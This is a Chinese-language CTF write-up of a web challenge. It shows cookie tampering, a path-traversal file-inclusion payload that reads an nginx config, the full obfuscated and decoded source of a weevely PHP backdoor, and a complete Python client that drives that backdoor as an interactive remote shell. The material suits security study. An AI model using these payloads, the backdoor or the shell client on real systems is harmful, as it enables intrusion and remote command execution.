这题做着也太难了,整理一部分,后面再继续吧,思考良久,能力不足!
1. 进入环境,查看内容
乍一看,感觉像是注入问题,admin一顿测试,网页建设中,好吧,掏出dirsearch一顿扫描,如图:
发现/robots.txt可以访问,戳进去思考。
2. 问题分析
- 访问/robots.txt,查看内容,如图:
也就是说有一个提示和一个入侵,我们打开提示页面,如图:
意思是Nginx配置文件是解题关键
接着再访问Hack.php,死活让你登录,如图:
-
没辙,尝试burpsuite抓包
此处我还不太会用burpsuite边修改包边打开,于是详细记录一下,打开如图:
点击openbrowser,输入链接:http://111.200.241.244:65037/Hack.php,如图:
点击foward,出现如图界面:
我们将cookie的isLogin状态修改为1,再点击forward,浏览器出来结果了,如图:
注意,参考网上大神的wp,发现管理中心的链接戳进去后,URL是有变化,如图:
注意:每一次点击浏览器的内容,都需要修改isLogin的值为1,并继续点击forward才能看到。(我捉摸了一下午才研究出来,都怪自己的工具用的不熟悉) -
URL带来的猜想
参考wp,还有传送门
说是/admin/admin.php?file=index&ext=php 这里有个file 这里多半是文件包含的知识点,我懵逼ing,于是查阅相关博客:
如何检测是否是文件包含?可能是过滤了 …/ 那我们测试一下
/admin/admin.php?file=i…/ndex&ext=php
如图:
当使用i./ndex时候,效果如图:
please continue消失了。。。也就是说确实有文件包含。于是根据hint的内容,构造paylaod:
/admin/admin.php?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext=
(真的好令人头疼,我已经精疲力竭,谁能给我解释一下为什么这么做。。。)
效果如图:
神奇的蹦出来了nginx的配置信息
- 配置中的思维点
location /web-img {
alias /images/;
autoindex on;
}
这个地方意思是/web-img路径可以访问到文件,或者用别名/images也可以访问,但是实测/images/被禁止了,效果如图:
戳…/提示要登录,此处采用…/访问去便利文件夹,如图:
去,/var/www/中找到hack.php.bak,这是需要用的东西。(为什么,我也不知道,懵逼jpg)如图:
下载下来文件。努力了一下午,来个分割线,脑子疼,明天再继续战斗吧,好累
- 继续啃吧
打开下载的hack.php.bak文件,vscode呈现出一堆乱码:
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>
这破玩意核心在于$f
,也就是执行完replace函数后会有新的代码,在末尾加上echo $f
;我们将上述代码运行一下,结果如下:
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
- 分析代码,看不懂,看大神wp吧
https://phuker.github.io/weevely-backdoor-code-analysis.html
啃不动代码哎,感觉好难。。。这一步最艰辛,也很无力,回头看吧
# encoding: utf-8
# 注意修改 url , keyh , keyf 等参数
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
# 用于生成完整的 Accept-Language
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = [] # 结果
indexes = [] # 索引
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
# 生成随机填充字符串( 由所有 ASCII 字符组成 , 包括不可读的字符 )
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
# 生成随机填充字符串( 由所有大小写字母组成 )
def randAlpha(amount):
result = ''
for i in xrange(amount):
# choice() 方法返回一个列表,元组或字符串的随机项
# string.ascii_letters 会生成所有的字母
result += choice(string.ascii_letters)
return result
# 模拟 x() 函数 , 循环异或加密
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
# 开启 Debug 选项
def debugPrint(msg):
if debugging:
print msg
# 定义基本变量
debugging = False # 默认关闭 Debug , 可用 True 开启
keyh = "42f7" # $kh , 需要修改
keyf = "e9ac" # $kf , 需要修改
xorKey = keyh + keyf # $k
url = 'http://220.249.52.133:35099/hack.php' # 指定 URL , 需要修改
defaultLang = 'zh-CN' #默认Language
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d'] #Accept-Language 模板
proxies = None # {'http':'http://127.0.0.1:8080'} # 代理 , 可用于 BurpSuite 等
sess = requests.Session() # 创建一个 SESSION 对象
# 每次会话会产生一次随机的 Accept-Language
langTmp = choicePart(languages,3) # 输出一个列表 , 包含模板中的三种 Accept-language
indexes = sorted(choicePart(range(1,10),3), reverse=True) # 降序排序输出三个权重值 , 例如 [8,6,4]
acceptLang = [defaultLang] # 先添加默认Language
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],)) # 然后循环添加三种 Accept-Language , 并为其添加权重值
acceptLangStr = ','.join(acceptLang) # 将多个 Accept-Language 用 " , " 拼接在一起
# acceptLangStr 即为要使用的 Accept-Language
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3] # $h
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8)) # $f + 填充字符串
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# 交互式 Shell
cmd = "system('" + raw_input('shell > ') + "');"
while cmd != '':
# 在写入 Payload 前填充一些无关数据
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value)) # 生成无关数据并填充
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# 对 Payload 进行加密
payload = zlib.compress(cmd) # gzcompress 操作
payload = loopXor(payload,xorKey) # 循环异或运算 , PHP代码中的 x() 函数
payload = base64.urlsafe_b64encode(payload) # base64_encode 编码
payload = md5head + payload # 在开头补全$h
# 对Payload进行修改
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
# 将 Payload 作为查询字符串编码拼接到 Referer 中
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# 发送 HTTP GET 请求
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# 接收响应数据包
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
# 如果没有收到响应数据包
if len(output) == 0:
print 'Error, no backdoor response'
cmd = "system('" + raw_input('shell > ') + "');"
continue
# 如果收到响应数据包 , 则对其进行处理
output = output[0]
debugPrint(output)
output = output.decode('base64') # base64_decode 解码
output = loopXor(output,xorKey) # 循环异或运算
output = zlib.decompress(output) # gzuncompress 运算
print output # 输出响应信息
cmd = "system('" + raw_input('shell > ') + "');"
代码放到Python2里面去运行,注意修改里面的url信息,结果如图:
ctf{a57b3698-eeae-48c0-a669-bafe3213568c}
3. 总结
懒得总结了,不会的太多,这个题超出能力范围,做到最后挺难受的,长路漫漫,继续努力吧!